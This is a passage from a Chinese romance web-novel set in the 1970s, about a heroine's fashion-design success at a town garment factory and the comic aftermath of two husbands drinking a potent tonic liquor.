男人不仅热情似火,而且不知疲倦…… 看小谢刚才回答她时毫不犹豫脱口而出的样子,还有以她平常对小谢的了解,小谢这个人,不是个爱吹牛逼的人。 再一想傅青山那高大健硕的身形,可能还真能做五休二,每晚七次? 虽然这个频次在她的认知里是不可思议的。 毕淑君偏头见小谢巴掌大的小脸红晕晕的,气色红润,艳羡地感慨:“小谢,没想到你吃得这么好。” 谢晚棠嘿嘿一笑:“让付镇长有空多研究,做饭也会越来越好吃的!” 毕淑君:“……” 谢晚棠说完见毕淑君反应不对劲,突然反应过来,此“吃”非彼“吃”…… 啊啊啊啊啊! 怎么这个年代连毕淑君这样的女强人也张口就开车啊!!! 谢晚棠红着脸轻咳:“也没什么好的吧,太累了。” “而且有时候还得加班,更累。” 对她来说,如果能做二休五,一周七次嘛,那就完美了~ 毕淑君:“……” 这个变态频率的基础上居然还能加班?傅青山的身体素质也太强了吧! 果然部队培养出来的武力男人和普通文职男人有天壤之别吗? 毕淑君估量了下自家男人的体力值,做五休二还勉强可以,每晚七次的话,估计等要上孩子,付天明也得去见他太奶了。 毕淑君点头表示了然:“那我大概有数了。” 量力而行的同时,抓锻炼提升体力吧。 当晚吃完饭,因为第二天是周末放假不用早起,而且第一批冬装忙完了,谢晚棠难得精神放松,趴在炕上悠哉地看六六的小人书。 其实就是她小时候看过的连环画,没事的时候一页一页翻着,还挺勾人挺有趣的。 没拉窗帘,她看一会儿小人书,眼睛累了就偏头看看窗外,傅青山领着三个小的在院子里打军体拳,就连六六都打得有模有样了。 傅青山在六六身边给他纠正动作,六六认真严肃不苟言笑时的小模样,真是像极了傅青山,妥妥一个高冷小干部,跟平常的阳光开朗小暖男判若两人。 就在第三次偏头往外看的时候,谢晚棠还以为自己眼花了,揉了揉眼睛再看,真没看错。 就在三个孩子对面,毕淑君也在教着付镇长打军体拳!??? 听傅青山说,付镇长比他还大个四五岁,都快四十岁的人了,也得练军体拳? 同为被迫练过军体拳的军属,谢晚棠很同情付镇长。 他们当军属的容易嘛! 傅青山练完冲了个澡回来,谢晚棠拉上窗帘,接过来毛巾给他擦后背的水珠,边擦边奇怪:“你说毕姐怎么突然也拉着付镇长练军体拳了?你们当过军人的都看不惯家属有偷懒宅家的习惯啊?” 擦干后背,傅青山转过身来,同样奇怪地看着她:“不是你跟毕姐提议的?” 谢晚棠:“怎么可能……” 当初她都练得那么痛苦,好不容易不痛经了,撒娇耍赖地解脱出来,怎么会去害别人啊。 那还是个人了? 傅青山想了想:“那可能是镇长想锻炼身体吧。” 谢晚棠点头。 怪不得人家能当镇长呢! 都快四十了还自己要求进步,跟她这等懒惰小女子果然是不一样的!- 付天明坐了十几年办公室,春播秋收下乡视察已经是他走过的最长的路了,今晚突然被抓着练了接近一个小时的军体拳,一歇下来,腰酸腿软。 毕淑君看他累得脚步虚浮,让他趴在炕上,给他揉了揉放松了会,付天明才觉得舒坦了,洗漱完上炕刚准备躺下,就被毕淑君拉着解扣子:“今晚咱们先来三次吧。” 付天明……? 往常不用打拳消耗体力的时候才来两次,今晚打完拳给他体力耗尽一半了,然后还要来三次?! 毕淑君:“以后咱们每晚打一个小时军体拳增强体力,保证做五休二,每晚三次。” 付天明……?? 付天明震惊地看着相处十年的爱人:“淑君,你这都从哪儿学来的?” 每晚三次,还做五休二,说得跟上夜班似的…… 毕淑君嗐了声:“人家对门青山和小谢都做五休二,每晚七次呢!我也考虑了,咱们毕竟不如人家小两口年轻,我这都减半还多了,不能再降了。” 付天明……???? 青山,你背刺哥? 毕淑君把走神的人拉回来:“不早了,快点了。” …… 周一上班,谢晚棠去供销社看销售情况,一进门就被两个售货员喜滋滋拉过去:“小谢,你这衣服卖得可火了!昨天一天就卖出去190多套,这还是有几个款昨天卖断码了,要不卖200套都没问题!” 这年代供销社售货员也是拿死工资,卖多卖少都一样,销售态度自然不会好。 谢晚棠跟毕淑君申请每卖出一件棉服,给售货员提成1毛,以提高售货员推销服务的积极性。 昨天是周日,镇上的职工基本都休班,来供销社买东西的人也多,两人这一天卖出去接近200套,提成就是20块,两人平分,一人都有10块呢。 平常一个月的工资才四五十块,这一天就额外挣了10块,搁谁谁不高兴啊。 两人劲头比谢晚棠还高,主动帮谢晚棠统计出来了各个款式、各个尺码的剩余件数,还从销售的角度给提了建议,哪几个款比较受欢迎可以多生产等等,催着谢晚棠赶紧回去报计划生产。 用售货员的话说:“镇上女工两万多呢,600件?都不够塞牙缝的!” 谢晚棠回厂把销售数据报给毕淑君,毕淑君虽然之前也觉得女装应该能卖开,但也没想到,这才一天,居然就能卖出去接近200套! 接近1/3了。 两人根据销售数据情况,重新调整制定了第二批各个款式、尺寸的生产计划,谢晚棠立马去市场部下料。 高经理拿到下料单一看:“不是才做了600套,这又下800套?” 谢晚棠点头:“卖得不错,要加量,厂长审批过了,麻烦高经理尽快。” 高经理一笑脸上的肥肉都堆在一起:“谢工的事,在我这从来都是优先的。” 谢晚棠强忍着身上的鸡皮疙瘩:“那就辛苦高经理了。” 说完赶紧转身,逃离这个油腻的男人。 谢晚棠没直接回技术部,先去车间跟自己时装线的三个人说了第一天就大卖的好消息,因为当初成立时装线的时候就说了,年底厂里会根据时装的销量给她们提成,大工每件提成2毛,小工提成1毛。 为了提成,她们做的时候不仅做得快,还做得很细致,怕细节不好影响售卖。 毕竟买一件棉服七八块钱,谁买的时候不是再三仔细看有没有残次啊,要是做出残来,卖得少了,影响的可是她们自己的提成,所以不用谢晚棠说,她们自己干的就很用心。 这才第一天就卖出去190多件,这哪儿是件数,这就是活生生的钱啊! 时装线的三个人别提多高兴了,其他工装线的员工一时艳羡地眼红极了,都是一样来上班,只不过时装线那边干活忙,她们工装这边干活轻快,人多活少可以摸鱼,居然就差这么多钱! 谢晚棠跟组里的人说了下批计划800件,三个人虽然之前做600件就忙乎了三个周,但有提成在这摆着,谁也不嫌辛苦,恨不得能卖出去8000件才好!只要能多挣钱,让她们晚上在这加班做她们都愿意! 谢晚棠通知完大家,回办公室继续加紧设计新款,虽然目前这些款式卖得很不错,但品类丰富还是很重要,毕竟全镇有两万多女工,如果款类不够多样,销量到一定量肯定会下滑,毕竟总不能全镇女人都来来回回穿这几个款。 老张知道女装前天已经进供销社开始卖了,看谢晚棠今天一来就埋头干活,没有炫耀,一想就是卖得不怎么样,不然年轻人的尾巴还不得翘到天上去。 时装这样的新奇玩意,那都是大城市才玩得转的,在大沟镇上搞时装,哪有想得那么容易咧。 老张撇了撇嘴,继续悠哉地喝茶水看报纸,等着看谢晚棠的笑话。 直到中午去食堂吃饭的时候,听着车间的女工都在讨论谢晚棠设计的女装昨天进供销社第一天就卖出去200套,今天厂子又紧急审批再生产800套,老张当场懵了。 吃完午饭回来,看着谢晚棠又坐下在那写写画画,老张心里乱得很,哪里还有心情翻报纸。 他在厂子干了快30年,都没设计什么新款,还是50年那老几套,每年顶多换换颜色。 人家小年轻刚来不到两个月,就干得风生水起,岂不是显得他狗屁不是! 可磋磨了这二三十年,他早就懈怠习惯了,现在让他提笔去设计,他一点想法都没有,只能拿出来抽屉里二十多年前的老裁缝书,病急乱投医- 时尚女装卖得好,毕淑君悬着的心也终于放了下来,下班买上鸡蛋送去娘家,顺道把老大夫说她身体调理得差不多了可以要孩子的好消息告诉了她妈。 毕妈妈闻声大喜:“是嘛!那可太好了!得好好谢谢人家小谢啊!” 说着,毕妈妈去柜子里拿出来4大瓶罐头给她装上:“小谢家孩子多,孩子愿意吃甜的。” 毕淑君笑着接了:“好来,我看小谢还自己去供销社买过一次罐头,应该是家里有孩子爱吃。” 她妈妈在罐头厂上班,逢年过节发福利都是发厂里的各种罐头,她从小跟着是吃够了,但在一般人家,算是很受喜欢的零食了。 毕妈妈给她装上一包大枣,一罐红糖,嘱咐她回去煮红糖鸡蛋喝,又从柜子里拿了瓶深黄色的酒出来,意有所指朝她眨眨眼:“这是给天明的,好酒,都是好东西泡的,天冷了,回去让他勤喝着点,暖暖身子。” 丈母娘看女婿,越看越顺眼,攒点好酒不舍得给她爸喝,给了付天明,是真疼女婿。 除去那惹人烦的小姑子和老婆婆天天来催生,其实付天明平日里对她挺好的,从一个小职工干到如今的大镇长,十年如一日地照顾她,她妈对付天明一直是挺满意的。 毕淑君把东西都收了:“好来,你就放心吧妈。” 毕淑君回来饭快做好了,虽然没有对门那么香,但近朱者赤,付天明的厨艺最近明显也跟着提高不少。 毕淑君把酒瓶放在柜子显眼处,跟付天明道:“妈给你的酒,说是好酒,天冷了让你常喝点。” 付天明应了,趁着还没开饭,毕淑君又把罐头送去对面。 谢晚棠自己本身就爱吃罐头,尤其是最传统的黄桃罐头,简直是她的最爱,穿越到70年代,奶茶蛋糕冰淇淋都没得吃,唯有黄桃罐头伴她左右。 傅青山、兰兰和大刚不太爱吃甜,剩下三个小的和二刚,都跟她一样,是甜食狂热爱好者。 二刚住校没在家,三个小的看着毕姨拿来的4个大罐头,眼睛都亮起来了,不过从小被教育要有礼貌,三个小家伙只是抿着嘴唇乖乖看着。 毕淑君还以为是家里的孩子爱吃,没想到谢晚棠自己也喜欢,看送礼送到了对方心坎上,毕淑君笑道:“以后想吃罐头不用去供销社买,跟我说就行,我妈就在罐头厂。” 谢晚棠哇偶一声:“那以后找阿姨买,可以享受内部价喽?” 毕淑君笑:“最低内部价!” 她妈是罐头厂厂长,再没有人能拿到比她妈更低的内部价了- 女装卖得太火爆,确实如售货员所说,600件还不够塞牙缝的。 平常周一到周六女工们要上班,只有中午和晚上有时间去供销社,人不比周日多,但剩下400多件女装,还是卖得只剩了80多件,周日肯定是不够卖的。 时装线又选进来两个成手大工,周四布料一到位,谢晚棠就带着小团队每天加班加点、保质保量赶工,也不等全做出来了,完工一批就往供销社送一批,每天都是供不应求。 有提成的刺激,女工们周日都不想休息,主动申请来厂里加班。 下属如此积极,领导自然自然也不能落后,吃过早饭谢晚棠就和毕淑君一起去了单位,谢晚棠抓生产,毕淑君搞后勤保障、带着司机往供销社送成品。 两个女人加班忙事业,两个男人在家闲下来,中午傅青山炒了几个菜,让付天明过来一起吃,不用再单独开伙忙活了。 付天明自然愿意,总吃人家的不好意思,寻摸一圈,带上丈母娘给的好酒去找傅青山。 平时上班不能喝,今天休班,打算和傅青山喝点。 没想到傅青山却说自己酒量不行,不喝酒。 付天明都带着小酒杯过来了,而且淑君回来说,这是丈母娘用好东西泡的酒,他也好奇是个什么味,拿着小酒杯给傅青山晃了晃:“不让你多喝,就这么一小杯,一两都不到。” 傅青山酒量确实一般,不喝酒主要是怕喝多了控制不住,在炕上对谢晚棠那方面过于暴力。 一想这些日子谢晚棠都加班到很晚才回来,别说做五休二了,两人现在做二休五的时间都没有。 而且现在还是中午,还就一小杯。 综合考虑,傅青山点了点头:“好,那就一杯。” 孩子们吃饭快,吃完饭就出去玩了,剩他们两个在炕上边喝边聊,聊工作,聊生活,聊未来。 傅青山喝了一杯就感觉浑身燥热,一股说不出的强势热流往下奔涌,燥得他把衬衣外边的毛衣脱了,问付天明:“镇长,你这是什么酒?” 付天明拿起透明酒瓶子看了看:“不知道,我丈母娘给的,肯定是好酒。” 因为他平常喝二两没问题,今天喝了两杯,全身就热乎乎的,有一股说不出的强大力量支撑着他,让他想要疯狂地卖力干活! 他想淑君了。 很想。 淑君什么时候回来? 上天也很眷顾他,想什么来什么,毕淑君带着人去供销社铺完今天的货就回来了。 付天明听见声音,偏头往外一看。 是淑君! 付天明着急难耐,朝傅青山道:“淑君回来了,我先回去。” 毕淑君推着自行车刚停下,就被自家男人从身后紧紧抱住:“淑君,你终于回来了。” 淡淡的酒气从耳畔传来,还有男人说话时吐出的温热气息,刚好打在她耳后,痒痒的,仿若撩拨。 毕淑君痒得缩了下脖子:“你喝酒了?” 男人下巴抵着她的肩膀,答非所问:“淑君,我想。” 大门突然被推开,六六、妞妞和小刚笑着跑进来,毕淑君一激灵回过神来,赶紧拉着大白天发。情的男人进屋。 一进屋,刚反锁上家门,男人就急切地亲吻她,两人一路从家门亲吻到炕上。 毕淑君还保留一丝理智,挣扎着上炕拉上窗帘。 半昏暗的微妙环境似乎更加刺激男人的情。欲,早已喜欢了老夫老妻的平淡如水,突然被平日里温柔绅士的男人强势地压在炕上激吻,毕淑君心脏好似被激活,剧烈地跳动起来,回过神来,热烈地回应上去—— 她的男人不仅热情似火,而且不知疲倦…… 从下午3点半到晚上8点半,两人晚饭都没吃,整整五个小时,一次又一次飞上巅峰,破天荒地做到了谢晚棠说的每晚七次。 直到听到窗外大门响动,谢晚棠下班回来的声音,两人才偃旗息鼓。 毕淑君有点累,缩在被窝里,靠在付天明怀里。 付天明终于把身体里无尽的力量全部释放完,心绪才堪堪得以平静,长舒一口气,问毕淑君:“咱妈给的酒是用什么泡的啊?” 毕淑君:“不知道啊,妈就说是好东西。” 第83章 辛苦二哥的肾了…… 谢晚棠也没想到镇上女工们的购买力这么猛,她在村里干的时候,积累了三四年的客户群体,一个冬天也就才接五六百单而已,镇上一周就卖出去了800多件,完全超乎她的预计,时装线又加了两个大工也还是忙不过来,她们生产的速度都赶不上供销社卖的速度。 这还没设计出来新款,等新款出来,这几个人更忙不过来。 明天上班,她得找毕淑君谈谈,时装线需要再扩出去一倍,才能支撑目前的销量。 这个点,毕姐和傅镇长家都熄灯了,孩子们明天要上学也都睡了,只有他和傅青山的房间还亮着灯。 支下自行车,谢晚棠轻声进了家门,推开炕间的门,只亮着点灯,却没看到人。 哎?傅青山不在家? 下一秒就听到脚下传来男人粗重的喘息声,闻声低头,就看到男人光着膀子,睡裤堪堪穿到腰下,正撑在地上做俯卧撑。 离她脚不过半米的地方,男人低头的位置,地下已经一滩汗水。 男人宽阔的小麦色脊背上也布满汗珠,在灯光的照射下,泛着明亮的光泽,积累到足够大的透明汗珠顺着手臂、侧腰和脊椎中间的细小凹槽滑落,隐入秘境。 不得不承认,这副充满男人力量的身体,纵使她已经看了七年,还是会被吸引和诱惑。 忙碌了一天的神经也被面前的美色吸引,暂时放松下来,她蹲下身子,在男人撑起来的时候勾唇,轻点下他满是汗珠的额头,声音轻浅:“二哥,大晚上的在这勾引人?” 付镇长拿来的不知道是什么酒,整整一个下午,燥热难耐,身体里有一股庞大的能量无处释放,如点燃熊熊烈火,要将他烧干。 吃过晚饭迟迟等不到谢晚棠,他的精神身体都已经到了忍耐的边缘,孩子们各自回屋以后,足足做了一小时俯卧撑,身体里狂热窜动的血液还在叫嚣。 面前突然出现日思夜想的人,傅青山仰头,如看神灵般注视片刻,那点在他额间冰凉柔软的手指,犹如触动野兽的开关,让他再也无法克制,也不想克制。 单手握住那柔软冰凉的小手,另一只手撑地起身,拦腰把人抱起来。 谢晚棠还没反应过来,一个天旋地转,就被重重压在了炕上,直到身上的衣服被残暴地扯开,胸口的皮肤紧紧贴在一起,她才发现,傅青山身上像着火了一样烫! 灼烧着她。 极近的距离,男人眼睛通红,犀利的眸光如看猎物般盯着她,仿佛下一秒就要将她拆碎入腹,比刚结婚不久那次醉酒后的样子还可怖。 傅青山呼吸沉重,声音低哑:“棠棠。” 谢晚棠下意识心跳加速:“二哥你唔——” 男人如野兽出笼般,凶狠地吻上来,堵住她的疑惑和挣扎…… 她的体力从来都不是傅青山的对手,只不过平日里正常的时候,傅青山会照顾她,温柔又克制。 今晚的傅青山像是不知疲倦的公兽,收起了温柔的假象,也不再克制兽性的本能,一次又一次带她飞上不可思议的巅峰,她享受着最疯狂刺激的同时,也迅速榨干她的体力…… …… 谢晚棠记不清他们一共有多少次了,只觉得这个夜晚无比的漫长。 傅青山终于发泄完无尽的体力时,她精神都是迷离的,任由傅青山给她擦干净身体,窝进被窝,眼睛都睁不开了,迷迷糊糊睡去。 睡梦中听到孩子们起床做饭说笑的声音,她也没有力气睁开眼睛。 直到额头被轻轻碰了下,傅青山在她耳边轻声道:“今天别去上班了,在家休息一下,我跟毕厂长请个假。” 现在别说起来上班了,就连起来吃饭的力气都没有,她下意识点头,眼睛都没睁,又往被窝里缩了缩。 傅青山虽然昨晚到5点才睡下,不过一个多小时就起来了,但尽情释放过后,精神却非常好。 吃过早饭,傅青山去对门给谢晚棠请假。 毕淑君正在家喝疙瘩汤,闻声担心地要去看看:“生病了吗?要不要去医院看看!” 傅青山轻咳一声:“没事,我试了,没发烧,就是累了。” 毕淑君这才放下心来,叹了口气:“小谢就是太能干了,这个周她天天跟着工人加班加点,都没怎么好好休息,她那小身板,肯定顶不住!” 傅青山抿唇,没说话。 上班加班是一方面,主要是昨晚下班加班加得有点狠。 傅青山余光瞥见付镇长柜子上那瓶看着不起眼的深黄色药酒,以后绝对不敢再喝了- 最近时装大卖,谢晚棠本来就是全厂关注的焦点,今天突然请假,听厂长说还是累着了才请的假,很快就在厂里传开了。 老张和小张中午去食堂吃饭的时候听着大家都在讨论谢晚棠能干能拼,人都累倒了,怪不得她设计得时装卖得这么火呢,人家这劲头在这摆着呢,人家不火谁火。 老张在技术部30年了,小张也来了2年多了,却对厂里一点贡献都没有,两人坐在食堂听着,都觉得脸上臊得慌。 麻溜吃完饭回了办公室,下午两人也不喝茶水织毛衣了,把抽屉里尘封的新的旧的书都拿出来,钻研学习起来。 时装线的五个女工都跟着谢晚棠沾了实在的光,听兰兰说谢晚棠累得早晨吃饭都没起来,几个人担心谢晚棠,下班去供销社买了红糖、大枣、鸡蛋,跟着兰兰一块去看谢晚棠。 谢晚棠一觉睡到中午才起来,傅青山特地从单位赶回来给她做的午饭。 又累又饿,就着热呼呼的汤,吃上一大碗手擀面,身体才慢慢恢复过来。 傅青山收拾完桌子还要赶回单位上班,谢晚棠懒洋洋的不爱动,又上炕继续补觉,身体像是要把这些日子在单位加班和昨晚加班缺的觉一下全补回来似的。 这一觉一直睡到孩子们下午放学回来,谢晚棠的精神才彻底清明,只剩腰还泛着酸疼。 谢晚棠扶着药穿鞋下炕,从柜子里先拿了罐头和桃酥让孩子们垫一垫,再去写作业。 三个小的刚回屋,外头传来大门开关和女人说话的声音,听着不像是毕淑君和兰兰的。 “兰兰,你们家这么大啊!” “你说你们家条件这么好,你娘还这么拼这么能干,真让人佩服。” …… 听着像是她组里那几个女工的声音? 谢晚棠扶着酸胀的腰一出家门,就看到江彩霞几个女工和兰兰一起进来,每个人手里都拎着东西,一看到她快步迎上来:“谢工,你怎么不在炕上歇着?” 谢晚棠笑笑:“刚起来,你们怎么来了?” 谢晚棠自己感觉精神好,但旁人看着她,只觉她嘴唇发白,头发微乱,有些憔悴,跟平日在单位里精神抖擞、唇红齿白的那个谢工差远了。 几个人簇拥着她进门,把东西放下,陪着她在炕上聊天说话。 聊了一会儿,谢晚棠才后知后觉地发现:大家都以为她是在单位加班累倒,所以才请假的? “……” 这—— 谢晚棠有点尴尬,脸控制不住地热起来。 但这事还真又没法解释→_→ 被大家夸赞和关心得实在不好意思了,谢晚棠红着脸道:“放心吧,今天歇好了,明天又能活力满满上班了!” 江彩霞叹了口气:“谢工,你可真是我们的榜样,还发着烧,脸都红成这样了,还这么有斗志,我们都要像你学习!” “对,要像谢工学习!” “像谢工看齐!” 谢晚棠:“……” 姐妹们,别夸了,老脸红得要兜不住了…… 好在都是有家庭的妇女,关心完她的身体,都赶着回家做饭。 送走盲目崇拜自己的下属,谢晚棠长舒一口气。 许是为昨晚的愣头青举动心虚,傅青山今天整个一个贤惠小媳妇样,照顾得谢晚棠几乎衣来伸手饭来张口。 吃过晚饭,谢晚棠精力体力都恢复了90%,等孩子们都回屋了,她坐在炕沿上,朝假装忙碌了一晚上的傅青山勾勾手指,忙碌的小狼狗瞬间被定住,片刻后走过来,垂眸看她,眸光少有的不敢与她长时间直视:“棠棠,对不起。” 虽然昨晚累得要死,但其实谢晚棠也很爽,所以她并没有因为傅青山昨晚性。欲大爆发的行为生气。 而且因为连续一周加班,两人做五休二的夜间合约也大打折扣,昨晚就算给傅青山一次性补上了吧。 她只是好奇:“你昨晚怎么了?” 生完六六后她的身体不是很好,晚上傅青山还算克制,保持着两人约定的频率,一般不让她加班。 五年的时间都没有破戒,昨晚一破就是个狠的。 傅青山抿唇,半晌深吸一口气:“中午你和毕厂长都不回来,我就叫了付镇长过来吃饭,他带了瓶酒过来。” 原来是喝酒了? 不过中午喝的,她晚上都没闻着有酒味了,还这么大劲? 谢晚棠:“你喝了多少?” 傅青山从实招来:“1两。” 1两不至于那么疯狂吧? 不过傅青山不是会撒谎的人。 谢晚棠又问:“什么酒啊?” 傅青山摇头:“不知道,没标签,付镇长说是他丈母娘给的,都是好东西泡的酒。” 丈母娘给的?还都是好东西泡的酒?1两就能让傅青山这么疯狂,付镇长和毕姐还正在造娃ing…… 谢晚棠瞬间了然,肯定是什么男人补肾壮。阳十全大补酒什么的! 傅青山皱眉:“对不起棠棠,之前就承诺过不再喝酒的,都是我的错。” 谢晚棠把人拉过来,笑着捏捏他的腰,这样结实的男人还喝大补酒,真是辛苦二哥的肾了,稀里糊涂差点没被补爆了哈哈哈 第84章 傅青山那TT戴的,比一日三餐还严格。 供销社的时装卖得太火爆,补单的800套每天能做出来的,拿到供销社基本就是卖断码。 谢晚棠请假,供销社统计来的销售信息都直接报到毕淑君这里,毕淑君定了新的下料单,因为批量大,怕织布厂耽误事,毕淑君又和高经理一起去了国营织布厂,请厂长吃了饭,好说歹说,厂长才答应给他们加班生产一批。 晚上到家都快9点了,看对面小谢那屋都关灯了,毕淑君就没过去。 一进屋,当门里付天明给她留着灯,她嗅了嗅,闻到家里有一股淡淡的药酒味。 下一秒,炕间的门打开,男人推门而出,深情地望着她,眼眸里的情。欲呼之欲出,一如新婚时那般热烈。 想到昨天两人的激烈画面,她扬起唇角,男人上前,一把抱住她:“淑君……” …… 连续两天完成一夜七次的小目标,毕淑君心情大好,感觉离谢晚棠传授的怀孕秘诀又进了一步! 翌日一早。 谢晚棠在院子里洗漱,看到付镇长和毕姐两个人进进出出都元气满满的样子,丝毫没有疲惫之色。 男人喝了壮。阳大补酒精神好是自然,毕姐看起来也脸色红晕、气色很好,不像她似的,被弄得炕都下不了。 她之前还提醒毕姐做多了会累,这么看来,人家部队培养出来的人,不管男人女人,都体力好得很,根本不是她这种小弱鸡体格能比的→_→ 到单位,谢晚棠第一时间去毕淑君办公室跟她聊扩大时装线的问题。 上个周时装线又加了两个人,但对于目前的火爆销量来说,也是杯水车薪。 毕淑君的想法和谢晚棠不谋而合,具体要商讨的是时装线要扩大到多少人才合适,工装线又要保留多少人,才能满足基本工装的生产。 毕淑君召集了工装部的技术员老张、小张,车间班长过来一起开会讨论。 老张周末休班偷偷去供销社看了,因为生产量跟不上,买衣服的人可以说都在抢,下手但凡慢点,好看的款、合适的号就没了。 如今被叫过来开会,虽然没人说他,但他却控制不住脸红,坐立不安。 最后开会商量的结果是将车间人员对半分,工装线只留一半,挑选一半技术好、吃苦耐劳的工人到时装线。 钱小凤为人正直,又了解女工们的技术和性格,谢晚棠便把选人的工作委托给她,她要腾出时间来加紧设计新款,尽快出版样好上线生产。 开完会,谢晚棠回了办公室开始画图纸。 直到中间起来活动活动腰椎倒水的时候,才发现,原本悠哉养老的父女俩,竟然也在埋头写写画画,不再是她刚来时懈怠悠闲的样子。 午饭前,班长钱小凤就把时装线的名单交过来了,一共14个大工,3个小工。 谢晚棠看过之后点头:“辛苦钱班长了,这样大家都可以正常下班生活了。” 虽然主动加班体现了员工的积极性,但是毕竟都是有家有娃的女人,偶尔还可以,天天靠在单位里,晚上八九点回家,总不是个事。 吃过午饭,谢晚棠刚回办公室,准备小眯一会儿歇歇精神再起来画图,就听到有人叫她。 “二嫂?” 自从从下沟村出来,她已经很少听见这个称呼了,以前都是老三媳妇天天二嫂二嫂的叫她。 她闻声抬头,就看到傅青宁鬼鬼祟祟地趴在办公室门口,和她视线对上的时候,脸上堆满笑容。 还真不适应这个样子的傅青宁。 谢晚棠起身出了办公室,傅青宁拉着她走到走廊尽头没人的地方,又叫了声二嫂,语气和顺道:“我想进时装线,你把我也招进去吧。” “……” 怪不得肯主动叫她二嫂了,原来是为这事。 见她不说话,傅青宁咧嘴笑笑:“二嫂,都是一家人,肥水不留外人田。” 谢晚棠面上没什么变化:“到处造谣说我无才无德,靠给厂长送礼才混进厂里来的时候,就忘了我们是一家人了?” 谢晚棠话落,傅青宁脸色一瞬发白,随即在她注视的目光下涨红起来。 傅青宁咬唇:“我,我没有——” 谢晚棠深吸一口气:“你不仅诋毁我,还诋毁厂长的声誉,厂长那儿都有证据,你要去当面对峙吗?” 她不是吓唬傅青宁,是之前厂里流言风起,毕淑君作为厂长,肯定不会坐视不理,一道一道查下去,自然能查到最初的留言是从谁嘴里传出来的。 只不过刚查出来,她的时装就要忙着上线,毕淑君才以大橘为重,暂时压下来没有发作此事。 傅青宁紧张地指尖发抖,现在已经不是能不能进时装线了,看谢晚棠的样子不像是瞎说,而且这事真的是从她这儿传出去的,难免心虚,她现在更担心的是,家属工的工作还能不能保住。 这可是得罪了厂长! 知道谢晚棠跟毕厂长关系好,傅青宁小心翼翼地抬头看谢晚棠:“二嫂,那厂长会不会……开除我?” 谢晚棠叹了口气:“毕厂长不是那样小心眼的人,但随意造谣肯定会有惩罚,等忙过这阵,她会亲自找你谈。” 傅青宁长舒一口气,还好!要是这份家属工的工作保不住,公婆还不知道会是什么脸色,而且公婆重男轻女,不喜欢她闺女,蒋有年挣了钱又不往家拿,她要是没了工作收入,拿什么养闺女,虽然婆家人不喜欢,但这可是她拼了命生下来的闺女。 谢晚棠要做的事很多,没有精力因为这点小事对傅青宁紧咬不放,凭傅青宁今天句句都叫她二嫂,她善意忠告:“脚踏实地,把自己的工作做好,技术提高,这才是根本。” 傅青宁少有的没犟嘴,点头应了。 送走傅青宁,谢晚棠回来的时候看到小张趴在桌上对着一本50年代的旧书努力写写画画,给人一种想要努力、但努力方向全错的感觉。 谢晚棠想了想,试探性地问了句:“小张工,你下午忙吗?不忙的话能帮我裁裁版样吗?” 谢晚棠话音刚落,小张倏地站起来:“不忙不忙!我可以!” 其实这些日子看谢晚棠设计那么好看的衣服,她又佩服又羡慕,她也想好好设计,但她不会啊! 如今谢晚棠主动邀请她一起裁新款版样,小张求之不得。 谢晚棠偏头看了一眼老张,老张抿抿唇,没说话,算是默认,谢晚棠勾唇,教着小张怎么画版样。 不仅是生产线需要一个团队,设计部也需要一个团队一起努力,不可能从灵感、到设计、到下料、到出版样、到修改调整全是她一个人,她需要小张的帮忙,而小张也求知若渴,两人一拍即合。 谢晚棠狠耐心地教,小张也很认真地学,不夸张的说,小张感觉跟着谢晚棠一个下午比她来厂子两年多学到的还多。 晚上下班,小张坐在老爹的自行车后座,在大门口跟谢晚棠挥手分别:“晚棠姐,明天见!” 谢晚棠笑笑:“明天见。” 路上兰兰奇怪:“娘,小张工怎么突然跟你关系这么好了?” 谢晚棠想了想:“可能因为我们现在是一个战壕的战友了?” 其实都是挺好的青年人,只是有时候环境对一个人的影响也是很大的,长期处于一个无法调动积极性的环境,人是难以抵御懒惰的,这就是人性。 有了小张的加入,时装设计的效率提升了1/3。 时装线工人的大扩张,生产效率也大大提高。 到过年前,谢晚棠超计划完成,一共上了12款冬装,共52个色号,一共售卖了5600多件,仅一个季节的销量和利润,就超过了工装线一年的效益。 厂子效益好,福利就好。 腊月二十八开放假大会的时候,毕淑君不仅公布了工装线上所有工作人员的奖金,还给所有员工的过年福利翻了倍,一时间全厂都洋溢着喜庆的氛围,不管是工装线还是时装线的员工,看谢晚棠的眼神都像看财神爷一般,恭敬又仰慕。 这好处归根到底可都是人家谢工带来的! 谢晚棠发的奖金最多,足足有230块,比她进厂这三个月的工资加起来还要多一点。 就连跟着谢晚棠帮忙的小张都拿到了奖金,一回办公室就激动地抱住谢晚棠:“晚棠姐,我爱死你了!” 除了傅青山,谢晚棠对别人热情的肢体接触还是有点不适应,笑着拍了拍小张的背:“这是你自己努力得来的。” 家里两个女职工都拿到了奖金,二刚期末考了年级第三、数学满分的好成绩,小刚妞妞也拿到了三好学生,就连六六都获得了好孩子称号。 今天还收到了大刚的来信,混杂着各式拼音和谐音错别字的信里写了他在部队充实的生活以及他的战友们,让家里放心,还关心弟弟妹妹们的学习情况。 去部队不过一年,言辞间已经是成熟军人的感觉了。 谢晚棠感慨,部队真的会教育人啊。 晚上傅青山做了一桌丰盛的大餐庆祝,大家一起端着银耳红枣羹碰杯,大家都越来越好,一年一年,日子也越来越有盼头。 翌日一早,大家早早起来,今天吃过早饭,要一起出去采买年货。 谢晚棠和毕淑君一块在压井旁刷牙,毕淑君刷着刷着就止不住地干呕起来,谢晚棠眯起眼睛,回忆傅青山跟付镇长喝了补肾壮。阳十全大补酒对着她兽性大发的日子,算算差不多快有两个月了呢。 虽然她怀六六的时候不吐,但刘翠芬、傅青宁当时都吐,而且傅大嫂和老三媳妇也说她们怀孕头三个月都吐的。 谢晚棠凑近一些,压低声音问:“毕姐,你是不是有了啊?” 毕淑君今天莫名地受不了这牙膏味,呕得正难受,闻声擦了擦嘴,不解地看着谢晚棠:“有什么?” 谢晚棠啧了声,往毕淑君小腹处看了眼:“小宝宝呀!” 毕淑君一愣,下意识也看向自己平坦的小腹。 谢晚棠问她:“你没去找老张大夫看看?” 毕淑君摇头:“年底厂子事这么多,一直没腾出时间呢。” 谢晚棠建议:“我觉得你可以去找老张大夫看看,我们村里很多人怀孕的时候就像你这么干呕,你妈妈给那个十全大补酒挺厉害,我觉得你这肯定八九不离十。” 毕淑君闻声大喜,厂子今年效益翻翻,如果再给她一个小宝宝,她这个年真的就没有任何遗憾了! 她也是后来问过她妈才知道那酒里边都泡了什么好东西,怪不得老付喝上比年轻的时候还猛。 一想到老付说当时中午喝傅青宁一起喝的,毕淑君打量谢晚棠小腹:“要不咱们一起去看看?” 谢晚棠愣了下,随即明白过来毕淑君是什么意思,笑道:“毕姐,我就不用看了,我不会怀孕的。” 傅青山那TT戴的,比一日三餐还严格。 